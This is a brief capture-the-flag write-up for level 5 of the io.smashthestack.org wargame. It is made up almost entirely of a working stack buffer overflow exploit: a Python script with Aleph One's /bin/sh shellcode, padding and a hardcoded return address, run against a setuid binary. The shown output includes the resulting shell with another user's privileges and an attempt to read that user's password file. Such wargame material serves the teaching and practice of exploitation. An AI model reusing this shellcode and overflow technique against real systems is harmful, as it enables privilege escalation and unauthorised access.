IO Level 5

Level 5 of io.smashthestack.org:


level5@io:/tmp/dennis5$ cat exp.py 
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

nops = "A" * (140 - len(shellcode))

# start of buf, from gdb
ret = "\xe0\xfb\xff\xbf"

print "%s" % nops + shellcode + ret

level5@io:/tmp/dennis5$ /levels/level05 `python exp.py`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?^1?FF  V
                     ? N?1??@??????/bin/sh????
sh-4.1$ id            ?
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/.pass

shhh don't snitch